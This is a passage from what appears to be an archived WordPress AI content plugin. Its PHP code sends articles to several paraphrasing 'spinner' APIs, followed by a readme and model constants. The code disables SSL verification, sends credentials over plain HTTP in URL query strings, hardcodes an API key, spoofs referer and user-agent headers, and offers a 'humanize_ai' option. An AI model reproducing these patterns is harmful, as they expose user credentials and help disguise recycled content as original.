                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
            	curl_setopt($ch, CURLOPT_REFERER, 'http://www.google.com/');
            	curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent());
            	curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
            	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            	$curlurl="https://api.chimprewriter.com/ChimpRewrite";
            	$curlpost="email=" . trim($usr) . "&apikey=" . trim($pss) . "&quality=4&text=" . urlencode($html) . "&aid=none&tagprotect=[|]&phrasequality=3&posmatch=3";
            	curl_setopt($ch, CURLOPT_URL, $curlurl);
            	curl_setopt($ch, CURLOPT_POST, true);
            	curl_setopt($ch, CURLOPT_POSTFIELDS, $curlpost);
            	$exec = curl_exec($ch);
                curl_close ($ch);
                if ($exec === FALSE) {
                    aiomatic_log_to_file('"ChimpRewriter" failed to exec curl after auth.');
                    return FALSE;
                }
            	if(stristr($exec, '{'))
                {
            		$json = json_decode($exec);
            		if($json !== null && isset($json->status))
                    {	
            			if(isset($json->output) && trim($json->status) == 'success')
                        {
            				$result = explode($titleSeparator, $json->output);
                            if (count($result) < 2) {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('"ChimpRewriter" failed to spin article - titleseparator not found.');
                                }
                                return FALSE;
                            }
                            $spintax = new AIomatic_Spintax();
                            $result[0] = $spintax->Parse(trim($result[0]));
                            $result[1] = $spintax->Parse(trim($result[1]));
                            return $result;
            			}
                        else
                        {
            				aiomatic_log_to_file('Invalid "ChimpRewriter" json response (output missing): ' . $exec);
                            return FALSE;
            			}
            		}
                    else
                    {
            			aiomatic_log_to_file('Invalid "ChimpRewriter" json response: ' . $exec);
                        return FALSE;
            		}
            	}
                else
                {
            		aiomatic_log_to_file('Invalid "ChimpRewriter" response: ' . $exec);
                    return FALSE;
            	}
                return FALSE;
            }
            function aiomatic_spinnerchief_spin_text($title, $content)
            {
                $titleSeparator = '[19459000]';
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['best_user']) || $aiomatic_Main_Settings['best_user'] == '' || !isset($aiomatic_Main_Settings['best_password']) || $aiomatic_Main_Settings['best_password'] == '') {
                    aiomatic_log_to_file('Please insert a valid "SpinnerChief" user email and password.');
                    return FALSE;
                }
                $pss = $aiomatic_Main_Settings['best_password'];
                $html = stripslashes($title). ' ' . $titleSeparator . ' ' . stripslashes($content);
                if(str_word_count($html) > 5000)
                {
                    $result = '';
                    while($html != '')
                    {
                        $first30k = substr($html, 0, 20000);
                        $first30k = rtrim($first30k, '(*');
                        $first30k = ltrim($first30k, ')*');
                        $html = substr($html, 20000);
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_HEADER,0);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                        if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                        {
                            $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                        }
                        else
                        {
                            $ztime = 300;
                        }
                        curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                        curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        $curlpost =  $first30k;
                        $curlpost1 = preg_replace('/[\x00-\x1F\x7F-\xFF]/', '', $curlpost);
                        if($curlpost1 !== null)
                        {
                            $curlpost = $curlpost1;
                        }
                        $post_me = 'dev_key=api2409357d02fa474d8&api_key=' . $pss . '&text=' . urlencode($curlpost);
                        $url = "https://www.spinnerchief.com/api/paraphraser";
                        curl_setopt($ch, CURLOPT_URL, $url);
                        curl_setopt($ch, CURLOPT_POST, true);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_me); 
                        $result_temp = curl_exec($ch);
                        if ($result_temp === FALSE) {
                            $cer = 'Curl error: ' . curl_error($ch);
                            aiomatic_log_to_file('"SpinnerChief" failed to exec curl after auth. ' . $cer);
                            curl_close ($ch);
                            return FALSE;
                        }
                        else
                        {
                            $json_res = json_decode($result_temp);
                            if($json_res !== null && isset($json_res->text))
                            {
                                $result .= $json_res->text;
                            }
                            else
                            {
                                $result .= $result_temp;
                            }
                        }
                        curl_close ($ch);
                    }
                }
                else
                {
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_HEADER,0);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                    if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                    {
                        $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                    }
                    else
                    {
                        $ztime = 300;
                    }
                    curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                    curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                    $curlpost = $html;
                    //to fix issue with unicode characters where the API times out
                    $curlpost1 = preg_replace('/[\x00-\x1F\x7F-\xFF]/', '', $curlpost);
                    if($curlpost1 !== null)
                    {
                        $curlpost = $curlpost1;
                    }
                    $url = "https://www.spinnerchief.com/api/paraphraser";
                    $post_me = 'dev_key=api2409357d02fa474d8&api_key=' . $pss . '&text=' . urlencode($curlpost);
                    curl_setopt($ch, CURLOPT_URL, $url);
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_me); 
                    $result = curl_exec($ch);
                    if ($result === FALSE) {
                        $cer = 'Curl error: ' . curl_error($ch);
                        aiomatic_log_to_file('"SpinnerChief" failed to exec curl after auth. ' . $cer);
                        curl_close ($ch);
                        return FALSE;
                    }
                    $json_res = json_decode($result);
                    if($json_res !== null && isset($json_res->text))
                    {
                        $result = $json_res->text;
                    }
                    curl_close ($ch);
                }
                $result = preg_replace('#\](\d+\])#', '[$1', $result);
                $result = explode($titleSeparator, $result);
                if (count($result) < 2) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('"SpinnerChief" failed to spin article - titleseparator not found: ' . print_r($result, true));
                    }
                    return FALSE;
                }
                $spintax = new AIomatic_Spintax();
                $result[0] = $spintax->Parse(trim($result[0]));
                $result[1] = $spintax->Parse(trim($result[1]));
                return $result;
            }
            
            function aiomatic_contentprofessor_spin_text($title, $content)
            {
                $titleSeparator = '[19459000]';
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['best_user']) || $aiomatic_Main_Settings['best_user'] == '' || !isset($aiomatic_Main_Settings['best_password']) || $aiomatic_Main_Settings['best_password'] == '') {
                    aiomatic_log_to_file('Please insert a valid "ContentProfessor" user email and password.');
                    return FALSE;
                }
                $usr = $aiomatic_Main_Settings['best_user'];
                $pss = $aiomatic_Main_Settings['best_password'];
                $article = stripslashes($title). ' ' . $titleSeparator . ' ' . stripslashes($content);
            	$ch = curl_init();
            	curl_setopt($ch, CURLOPT_HEADER,0);
            	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                {
                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                }
                else
                {
                    $ztime = 300;
                }
                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
            	curl_setopt($ch, CURLOPT_REFERER, 'http://www.google.com/');
            	curl_setopt($ch, CURLOPT_USERAGENT, aiomatic_get_random_user_agent());
            	curl_setopt($ch, CURLOPT_MAXREDIRS, 5); 
            	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                $ctu = 'pro';
            	$url = 'http://www.contentprofessor.com/member_pro/api/get_session?format=json&login='.trim($usr).'&password='.trim($pss);
            	curl_setopt($ch, CURLOPT_URL, $url);
            	curl_setopt($ch, CURLOPT_HTTPGET, 1);
             	$exec = curl_exec($ch);
            	if(!stristr($exec, '{'))
                {
                    $ctu = 'free';
                    $url = 'http://www.contentprofessor.com/member_free/api/get_session?format=json&login='.trim($usr).'&password='.trim($pss);
                    curl_setopt($ch, CURLOPT_URL, $url);
                    $exec = curl_exec($ch);	
            	}
                if(!stristr($exec, '{'))
                {
                    aiomatic_log_to_file('Invalid "ContentProfessor" response: ' . $exec);
                    return FALSE;
                }
            	$exec = json_decode($exec);
            	if(!isset($exec->result) || !isset($exec->result->data->session))
                {
                    $ctu = 'free';
            		$url = 'http://www.contentprofessor.com/member_free/api/get_session?format=json&login='.trim($usr).'&password='.trim($pss);
                    curl_setopt($ch, CURLOPT_URL, $url);
                    $exec = curl_exec($ch);
                    $exec = json_decode($exec);
                }        
            	if(isset($exec->result) && isset($exec->result->data->session))
                {
            		$session = $exec->result->data->session;
            		$url = "http://www.contentprofessor.com/member_" . $ctu . "/api/include_synonyms?format=json&session=" . $session . "&language=en&limit=5&quality=ideal&synonym_set=global&min_words_count=1&max_words_count=7";
            		curl_setopt($ch, CURLOPT_URL, $url);
            		curl_setopt($ch, CURLOPT_POST, true);
            		$curlpost = array('text'=> $article);
            		curl_setopt($ch, CURLOPT_POSTFIELDS, $curlpost);
            		$exec = curl_exec($ch);
            		if(stristr($exec, '{'))
                    {
                        $exec = json_decode($exec);
            			if (isset($exec->result->data->text)) 
                        {
            				$article  = preg_replace('{<span class="word" id=".*?">(.*?)</span>}su', "$1", $exec->result->data->text);
                            $article = explode($titleSeparator, $article);
                            if (count($article) < 2) {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('"SpinRewriter" failed to spin article - titleseparator (' . ' ' . $titleSeparator . ' ' . ') not found: ' . $article);
                                }
                                return FALSE;
                            }
                            $spintax = new AIomatic_Spintax();
                            $article[0] = $spintax->Parse(trim($article[0]));
                            $article[1] = $spintax->Parse(trim($article[1]));
                            return $article;	
            			}
                        else
                        {
                            aiomatic_log_to_file('Incorect "ContentProfessor" json response: ' . print_r($exec, true));
                            return FALSE;
            			}
            		}
                    else
                    {
                        aiomatic_log_to_file('Incorect "ContentProfessor" call response: ' . print_r($exec, true));
                        return FALSE;
            		}
            	}
                else
                {
            		aiomatic_log_to_file('Incorect "ContentProfessor" login response: ' . print_r($exec, true));
                    return FALSE;
            	}
            }
            function aiomatic_spinrewriter_spin_text($title, $content)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['best_user']) || $aiomatic_Main_Settings['best_user'] == '' || !isset($aiomatic_Main_Settings['best_password']) || $aiomatic_Main_Settings['best_password'] == '') {
                    aiomatic_log_to_file('Please insert a valid "SpinRewriter" user name and password.');
                    return FALSE;
                }
                $titleSeparator = '(19459000)';
                $html = $title . ' ' . $titleSeparator . ' ' . $content;
                $html = preg_replace('/\s+/', ' ', $html);
                $data = array();
                $data['email_address'] = $aiomatic_Main_Settings['best_user'];
                $data['api_key'] = $aiomatic_Main_Settings['best_password'];
                $data['action'] = "unique_variation";
                $data['auto_protected_terms'] = "true";
                $data['confidence_level'] = "high";
                $data['auto_sentences'] = "true";
                $data['auto_paragraphs'] = "false";
                $data['auto_new_paragraphs'] = "false";
                $data['auto_sentence_trees'] = "false";
                $data['use_only_synonyms'] = "true";
                $data['reorder_paragraphs'] = "false";
                $data['nested_spintax'] = "false";
                if(isset($aiomatic_Main_Settings['best_humanize']) && $aiomatic_Main_Settings['best_humanize'] == 'on')
                {
                    $data['humanize_ai'] = "true";
                }
                if(str_word_count($html) >= 2500)
                {
                    $result = '';
                    while($html != '' && $html != ' ')
                    {
                        $words = explode(" ", $html);
                        $first30k = join(" ", array_slice($words, 0, 2500));
                        $html = join(" ", array_slice($words, 2500));
                        
                        $data['text'] = $first30k;	
                        $api_response = aiomatic_spinrewriter_api_post($data);
                        if ($api_response === FALSE) {
                            aiomatic_log_to_file('"SpinRewriter" failed to exec curl after auth.');
                            return FALSE;
                        }
                        $api_response = json_decode($api_response);
                        if(!isset($api_response->response) || !isset($api_response->status) || $api_response->status != 'OK')
                        {
                            if(isset($api_response->status) && $api_response->status == 'ERROR')
                            {
                                if(isset($api_response->response) && $api_response->response == 'You can only submit entirely new text for analysis once every 7 seconds.')
                                {
                                    $api_response = aiomatic_spinrewriter_api_post($data);
                                    if ($api_response === FALSE) {
                                        aiomatic_log_to_file('"SpinRewriter" failed to exec curl after auth (after resubmit).');
                                        return FALSE;
                                    }
                                    $api_response = json_decode($api_response);
                                    if(!isset($api_response->response) || !isset($api_response->status) || $api_response->status != 'OK')
                                    {
                                        aiomatic_log_to_file('"SpinRewriter" failed to wait and resubmit spinning: ' . print_r($api_response, true) . ' params: ' . print_r($data, true));
                                        return FALSE;
                                    }
                                }
                                else
                                {
                                    aiomatic_log_to_file('"SpinRewriter" error response: ' . print_r($api_response, true) . ' params: ' . print_r($data, true));
                                    return FALSE;
                                }
                            }
                            else
                            {
                                aiomatic_log_to_file('"SpinRewriter" error response: ' . print_r($api_response, true) . ' params: ' . print_r($data, true));
                                return FALSE;
                            }
                        }
                        $spinned = $api_response->response;
                        $result .= ' ' . $spinned;
                        if($html != '' && $html != ' ')
                        {
                            sleep(7);
                        }
                    }
                }
                else
                {
                    $data['text'] = $html;
                    $api_response = aiomatic_spinrewriter_api_post($data);
                    if ($api_response === FALSE) {
                        aiomatic_log_to_file('"SpinRewriter" failed to exec curl after auth.');
                        return FALSE;
                    }
                    $api_response = json_decode($api_response);
                    if(!isset($api_response->response) || !isset($api_response->status) || $api_response->status != 'OK')
                    {
                        if(isset($api_response->status) && $api_response->status == 'ERROR')
                        {
                            if(isset($api_response->response) && $api_response->response == 'You can only submit entirely new text for analysis once every 7 seconds.')
                            {
                                $api_response = aiomatic_spinrewriter_api_post($data);
                                if ($api_response === FALSE) {
                                    aiomatic_log_to_file('"SpinRewriter" failed to exec curl after auth (after resubmit).');
                                    return FALSE;
                                }
                                $api_response = json_decode($api_response);
                                if(!isset($api_response->response) || !isset($api_response->status) || $api_response->status != 'OK')
                                {
                                    aiomatic_log_to_file('"SpinRewriter" failed to wait and resubmit spinning: ' . print_r($api_response, true) . ' params: ' . print_r($data, true));
                                    return FALSE;
                                }
                            }
                            else
                            {
                                aiomatic_log_to_file('"SpinRewriter" error response: ' . print_r($api_response, true) . ' params: ' . print_r($data, true));
                                return FALSE;
                            }
                        }
                        else
                        {
                            aiomatic_log_to_file('"SpinRewriter" error response: ' . print_r($api_response, true) . ' params: ' . print_r($data, true));
                            return FALSE;
                        }
                    }
                    $result = $api_response->response;
                }
                $result = explode($titleSeparator, $result);
                if (count($result) < 2) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('"SpinRewriter" failed to spin article - titleseparator not found: ' . $api_response->response);
                    }
                    return FALSE;
                }
                return $result;
            }
            function aiomatic_spinrewriter_api_post($data){
            	$data_raw = "";
                
                $GLOBALS['wp_object_cache']->delete('crspinrewriter_spin_time', 'options');
                $spin_time = get_option('crspinrewriter_spin_time', false);
                if($spin_time !== false && is_numeric($spin_time))
                {
                    $c_time = time();
                    $spassed = $c_time - $spin_time;
                    if($spassed < 10 && $spassed >= 0)
                    {
                        sleep(10 - $spassed);
                    }
                }
                update_option('crspinrewriter_spin_time', time());
                
            	foreach ($data as $key => $value){
            		$data_raw = $data_raw . $key . "=" . urlencode($value) . "&";
            	}
            	$ch = curl_init();
                if($ch === false)
                {
                    return false;
                }
            	curl_setopt($ch, CURLOPT_URL, "http://www.spinrewriter.com/action/api");
            	curl_setopt($ch, CURLOPT_POST, true);
            	curl_setopt($ch, CURLOPT_POSTFIELDS, $data_raw);
            	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                {
                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                }
                else
                {
                    $ztime = 300;
                }
                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
            	$response = trim(curl_exec($ch));
            	curl_close($ch);
            	return $response;
            }
            function aiomatic_builtin_spin_text($title, $content)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $titleSeparator         = '[19459000]';
                $text                   = $title . ' ' . $titleSeparator . ' ' . $content;
                if (isset($aiomatic_Main_Settings['exclude_words']) && $aiomatic_Main_Settings['exclude_words'] != '') {
                    $excw = explode(',', $aiomatic_Main_Settings['exclude_words']);
                    $excw = array_map('trim', $excw);
                }
                else
                {
                    $excw = array();
                }
                try {
                    $file=file(dirname(__FILE__)  .'/res/synonyms.dat');
            		foreach($file as $line){
            			$synonyms=explode('|',$line);
            			foreach($synonyms as $word){
            				if(trim($word) != ''){
                                $must_cont = false;
                                foreach($excw as $exw)
                                {
                                    if(strstr($word, $exw) !== false)
                                    {
                                        $must_cont = true;
                                        break;
                                    }
                                }
                                if($must_cont == true)
                                {
                                    continue;
                                }
                                $word=str_replace('/','\/',$word);
            					if(preg_match('/\b'. $word .'\b/u', $text)) {
            						$rand = array_rand($synonyms, 1);
            						$text = preg_replace('/\b'.$word.'\b/u', trim($synonyms[$rand]), $text);
            					}
                                $uword=ucfirst($word);
            					if(preg_match('/\b'. $uword .'\b/u', $text)) {
            						$rand = array_rand($synonyms, 1);
            						$text = preg_replace('/\b'.$uword.'\b/u', ucfirst(trim($synonyms[$rand])), $text);
            					}
            				}
            			}
            		}
                    $translated = $text;
                }
                catch (Exception $e) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Exception thrown in spinText ' . $e);
                    }
                    return false;
                }
                if (stristr($translated, $titleSeparator)) {
                    $contents = explode($titleSeparator, $translated);
                    $title    = $contents[0];
                    $content  = $contents[1];
                } else {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Failed to parse spinned content, separator not found');
                    }
                    return false;
                }
                return array(
                    $title,
                    $content
                );
            }
            ?>�������������������������������������������������������������readme.txt������������������������������������������������������������������������������������������0000644�����������������00000003236�14757771437�0006574 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������=== AIomatic - Automatic AI Content Writer ===
            Contributors: coderevolution
            Donate link: https://www.patreon.com/coderevolution
            Tags: popup, subscribers
            Requires at least: 4.0
            Tested up to: 6.5
            Stable tag: 6.5
            License: Regular/Extended License
            
            Another plugin made by CodeRevolution.
            
            == Description ==
            
            Nice to meet you! My name is Szabi from CodeRevolution. We are a team of a few people who work FULL TIME as freelancers, making plugins and scripts for Envato Market. Because we dedicate all our time to this, our items are filled with passion, and we can offer premium support to our customers all the time! Feel free to ask in advance any question you might have about our items! If you buy any of our items, you will have support in case something is not working as specified, related to our item, according to Envato Support Policy. 
            Hope that you enjoy my work!
            
            == Installation ==
            
            1. Upload the plugin files to the `/wp-content/plugins/plugin-name` directory, or install the plugin through the WordPress plugins screen directly.
            2. Activate the plugin through the 'Plugins' screen in WordPress
            3. Use the Settings->Plugin Name screen to configure the plugin
            
            
            == Frequently Asked Questions ==
            
            = How do I update this plugin? =
            
            This plugin supports automatical updating. Please click "Check for updates" for this plugin in the WordPress plugins control panel. If a new version is available you will be prompted. Click "Update now" to finish the updating process.
            
            == Changelog ==
            
            = 1.0 =
            For a detailed changelog, please check the plugin's CodeCanyon page, from here (search for the plugin, from our portfolio): //1.envato.market/coderevolutionplugins������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������aiomatic-automatic-ai-content-writer.php������������������������������������������������������������0000644�����������������00005460201�14757771437�0014436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
            /**
            Plugin Name: Aiomatic - Automatic AI Content Writer, Editor, Chatbot & AI Toolkit
            Plugin URI: //1.envato.market/aiomatic
            Description: All in one AI plugin for content creation, content editing, chatbots and many more extra features
            Author: CodeRevolution
            Version: 2.1.3
            Author URI: //coderevolution.ro
            License: Commercial. For personal use only. Not to give away or resell.
            Text Domain: aiomatic-automatic-ai-content-writer
            */
            /*  
            Copyright 2016 - 2024 CodeRevolution
            */
            
            defined('ABSPATH') or die();
            require_once (dirname(__FILE__) . "/res/other/plugin-dash.php");
            require_once (dirname(__FILE__) . "/aiomatic-helpers.php");
            require_once (dirname(__FILE__) . "/aiomatic-assistants-file.php");
            require_once (dirname(__FILE__) . "/aiomatic-batches-file.php");
            require_once (dirname(__FILE__) . "/aiomatic-shortcodes-file.php");
            require_once (dirname(__FILE__) . "/aiomatic-ajax-actions.php");
            require_once (dirname(__FILE__) . "/aiomatic-spin-translate.php");
            require_once (dirname(__FILE__) . "/aiomatic-do-post.php");
            require_once (dirname(__FILE__) . "/aiomatic-rules.php");
            require_once (dirname(__FILE__) . "/aiomatic-streaming.php");
            require_once (dirname(__FILE__) . "/aiomatic-media-expirator.php");
            
            const AIOMATIC_MAJOR_VERSION = '2.1.3';
            const AIOMATIC_DEFAULT_BIG_TIMEOUT = 999;
            const AIOMATIC_DEFAULT_MODEL = 'gpt-4o-mini';
            const AIOMATIC_DEFAULT_IMAGE_MODEL = 'dalle3';
            const AIOMATIC_MODELS = array('gpt-3.5-turbo-instruct');
            const AIOMATIC_MODELS_CHAT = array('gpt-4o-mini', 'gpt-3.5-turbo-16k', 'gpt-3.5-turbo-0301', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo-16k-0613', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0125', 'gpt-4', 'gpt-4-0314', 'gpt-4-0613', 'gpt-4-32k', 'gpt-4-32k-0314', 'gpt-4-32k-0613', 'gpt-4-1106-preview', 'gpt-4-0125-preview', 'gpt-4-turbo-preview', 'gpt-4-vision-preview', 'gpt-4-turbo-2024-04-09', 'gpt-4-turbo', 'gpt-4o', 'gpt-4o-2024-05-13', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18');
            const AIOMATIC_MODELS_VISION = array('gpt-4-vision-preview', 'gpt-4-turbo-2024-04-09', 'gpt-4-turbo', 'gpt-4o', 'gpt-4o-2024-05-13', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18');
            const AIOMATIC_ASSISTANT_MODELS = array('gpt-4o-mini', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0125', 'gpt-3.5-turbo-16k', 'gpt-3.5-turbo-16k-0613', 'gpt-4', 'gpt-4-0613', 'gpt-4-1106-preview', 'gpt-4-0125-preview', 'gpt-4-turbo-preview', 'gpt-4-vision-preview', 'gpt-4-turbo-2024-04-09', 'gpt-4-turbo', 'gpt-4o', 'gpt-4o-2024-05-13', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18');
            const AIOMATIC_RETRIEVAL_MODELS = array('gpt-4o-mini', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0125', 'gpt-4-1106-preview', 'gpt-4-0125-preview', 'gpt-4-turbo-preview', 'gpt-4-vision-preview', 'gpt-4-turbo-2024-04-09', 'gpt-4-turbo', 'gpt-4o', 'gpt-4o-2024-05-13', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18');
            const AIOMATIC_PERPLEXITY_MODELS = array('llama-3-sonar-small-32k-chat', 'llama-3-sonar-small-32k-online', 'llama-3-sonar-large-32k-chat', 'llama-3-sonar-large-32k-online', 'llama-3-8b-instruct', 'llama-3-70b-instruct', 'mixtral-8x7b-instruct');
            const AIOMATIC_EDIT_MODELS = array();
            const AIOMATIC_DEFAULT_MODEL_EMBEDDING = 'text-embedding-3-small';
            const AIOMATIC_EMBEDDINGS_MODELS = array('text-embedding-3-small', 'text-embedding-3-large', 'text-embedding-ada-002');
            const AIOMATIC_DALLE_IMAGE_MODELS = array('dalle2', 'dalle3', 'dalle3hd');
            const AIOMATIC_AZURE_MODELS = array('gpt-4o-mini', 'gpt-3.5-turbo-16k', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo-0301', 'gpt-3.5-turbo-16k-0613', 'gpt-4', 'gpt-4-vision-preview', 'gpt-4-1106-preview', 'gpt-4-0125-preview', 'gpt-4-0613', 'gpt-4-0314', 'gpt-4-32k-0613', 'gpt-4-32k-0314', 'gpt-4-32k', 'gpt-4-turbo', 'gpt-4-turbo-2024-04-09', 'gpt-4o', 'gpt-4o-2024-05-13', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18', 'gpt-3.5-turbo-instruct', 'gpt-3.5-turbo-instruct-0914', 'text-davinci-003', 'text-davinci-002', 'text-curie-001', 'text-babbage-001', 'text-ada-001', 'text-embedding-ada-002');
            const AIOMATIC_CLAUDE_MODELS = array('claude-3-5-sonnet-20240620', 'claude-3-opus-20240229', 'claude-3-sonnet-20240229', 'claude-3-haiku-20240307', 'claude-instant-1', 'claude-instant-1.2', 'claude-2.0', 'claude-2.1');
            const AIOMATIC_CLAUDE_CHAT = array('claude-3-5-sonnet-20240620', 'claude-3-opus-20240229', 'claude-3-sonnet-20240229', 'claude-3-haiku-20240307');
            const AIOMATIC_CLAUDE_MODELS_200K = array('claude-3-5-sonnet-20240620', 'claude-3-opus-20240229', 'claude-3-sonnet-20240229', 'claude-3-haiku-20240307', 'claude-2.1');
            const AIOMATIC_GOOGLE_MODELS = array('gemini-pro', 'gemini-1.0-pro', 'gemini-1.5-flash-latest', 'gemini-1.5-pro-latest', 'chat-bison-001', 'text-bison-001');
            const AIOMATIC_GOOGLE_STREAMING_MODELS = array('gemini-pro', 'gemini-1.5-pro-latest', 'gemini-1.0-pro', 'gemini-1.5-flash-latest');
            const AIOMATIC_STABLE_NEW_MODELS = array('stable-diffusion-ultra', 'stable-diffusion-core', 'stable-diffusion-3-0-large', 'stable-diffusion-3-0-turbo', 'stable-diffusion-3-0-medium');
            const AIOMATIC_STABLE_DEFAULT_MODE = 'stable-diffusion-512-v2-1';
            const AIOMATIC_STABLE_IMAGE_MODELS = array('esrgan-v1-x2plus', 'stable-diffusion-xl-1024-v0-9', 'stable-diffusion-xl-1024-v1-0', 'stable-diffusion-v1-6', 'stable-diffusion-512-v2-1', 'stable-diffusion-xl-beta-v2-2-2', 'stable-diffusion-ultra', 'stable-diffusion-core', 'stable-diffusion-3-0-large', 'stable-diffusion-3-0-medium', 'stable-diffusion-3-0-turbo');
            const AIOMATIC_GOOGLE_EMBEDDINGS_MODELS = array('embedding-001', 'text-embedding-004');
            const AIOMATIC_BATCH_MODELS = array('gpt-4o-mini', 'gpt-3.5-turbo-16k', 'gpt-4', 'gpt-4-32k', 'gpt-4-turbo-preview', 'gpt-4-vision-preview', 'gpt-4-turbo', 'gpt-3.5-turbo-0301', 'gpt-3.5-turbo-16k-0613', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0613', 'gpt-4-0314', 'gpt-4-turbo-2024-04-09', 'gpt-4-32k-0314', 'gpt-4-32k-0613', 'text-embedding-3-large', 'text-embedding-3-small', 'text-embedding-ada-002', 'gpt-4o', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18');
            const AIOMATIC_BATCH_MODELS_NO_EMBEDDING = array('gpt-4o-mini', 'gpt-3.5-turbo-16k', 'gpt-4', 'gpt-4-32k', 'gpt-4-turbo-preview', 'gpt-4-vision-preview', 'gpt-4-turbo', 'gpt-3.5-turbo-0301', 'gpt-3.5-turbo-16k-0613', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0613', 'gpt-4-0314', 'gpt-4-turbo-2024-04-09', 'gpt-4-32k-0314', 'gpt-4-32k-0613');
            const AIOMATIC_FUNCTION_CALLING_MODELS = array('gpt-4o-mini', 'gpt-3.5-turbo-0125', 'gpt-3.5-turbo-1106', 'gpt-3.5-turbo-0613', 'gpt-4', 'gpt-4-turbo-preview', 'gpt-4-0125-preview', 'gpt-4-1106-preview', 'gpt-4-0613', 'gpt-4-turbo-2024-04-09', 'gpt-4-turbo', 'gpt-4o', 'gpt-4o-2024-05-13', 'gpt-4o-mini', 'gpt-4o-mini-2024-07-18');
            const AIOMATIC_TRAINING_MODELS = array('gpt-4o-2024-05-13', 'gpt-3.5-turbo-0125', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo-1106', 'gpt-4-0613', 'gpt-4', 'babbage-002', 'davinci-002');
            const OLLAMA_MODELS = array('llama3');
            const AIOMATIC_DEFAULT_MAX_TOKENS = 2048;
            const AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS = 50;
            const AIOMATIC_MINIMUM_TOKENS_FOR_CHAT = 50;
            const MAX_HUGGINGFACE_TOKEN_COUNT = 2000;
            const MAX_OLLAMA_TOKEN_COUNT = 4000;
            const AIOMATIC_IS_DEBUG = false;
            const AZURE_API_VERSION = '?api-version=2023-12-01-preview';
            const AZURE_DALLE_API_VERSION = '?api-version=2023-06-01-preview';
            const AZURE_DALLE3_API_VERSION = '?api-version=2023-12-01-preview';
            const AZURE_DEPLOYMENT_API_VERSION = '?api-version=2023-03-15-preview';
